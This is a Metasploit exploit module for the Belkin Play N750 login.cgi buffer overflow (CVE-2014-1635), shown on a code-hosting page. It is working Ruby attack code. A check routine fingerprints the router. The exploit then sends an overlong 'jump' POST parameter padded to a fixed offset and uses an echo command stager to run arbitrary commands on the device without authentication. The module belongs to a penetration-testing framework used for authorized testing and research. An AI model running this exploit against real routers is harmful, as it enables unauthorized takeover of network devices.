CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/belkin_login_bof.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',
15
'Description' => %q{
16
This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
17
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
18
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
19
remote unauthenticated attackers to execute arbitrary code. This module was tested in
20
an emulated environment, using the version 1.10.16.m of the firmware.
21
},
22
'Author' =>
23
[
24
'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)
25
'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => ['linux'],
29
'Arch' => ARCH_MIPSLE,
30
'References' =>
31
[
32
['CVE', '2014-1635'],
33
['EDB', '35184'],
34
['BID', '70977'],
35
['OSVDB', '114345'],
36
['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],
37
['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']
38
],
39
'Targets' =>
40
[
41
[ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',
42
{
43
'Offset' => 1379,
44
}
45
]
46
],
47
'DefaultOptions' =>
48
{
49
'RPORT' => 8080
50
},
51
'DisclosureDate' => '2014-05-09',
52
'DefaultTarget' => 0))
53
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
54
end
55
56
def check
57
begin
58
res = send_request_cgi({
59
'method' => 'GET',
60
'uri' => '/'
61
})
62
63
if res &&
64
[200, 301, 302].include?(res.code) &&
65
res.headers['Server'] &&
66
res.headers['Server'] =~ /minhttpd/ &&
67
res.body =~ /u_errpaswd/
68
69
return Exploit::CheckCode::Detected
70
end
71
rescue ::Rex::ConnectionError
72
return Exploit::CheckCode::Unknown
73
end
74
75
Exploit::CheckCode::Unknown
76
end
77
78
def exploit
79
print_status("Accessing the vulnerable URL...")
80
81
unless check == Exploit::CheckCode::Detected
82
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
83
end
84
85
print_status("Exploiting...")
86
execute_cmdstager(
87
:flavor => :echo,
88
:linemax => 200
89
)
90
end
91
92
def prepare_shellcode(cmd)
93
shellcode = rand_text_alpha_upper(target['Offset'])
94
shellcode << 'e' << cmd
95
shellcode << "\n\n"
96
end
97
98
def execute_command(cmd, opts)
99
shellcode = prepare_shellcode(cmd)
100
begin
101
res = send_request_cgi({
102
'method' => 'POST',
103
'uri' => '/login.cgi',
104
'vars_post' => {
105
'GO' => '',
106
'jump' => shellcode,
107
}
108
})
109
return res
110
rescue ::Rex::ConnectionError
111
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
112
end
113
end
114
end
115
116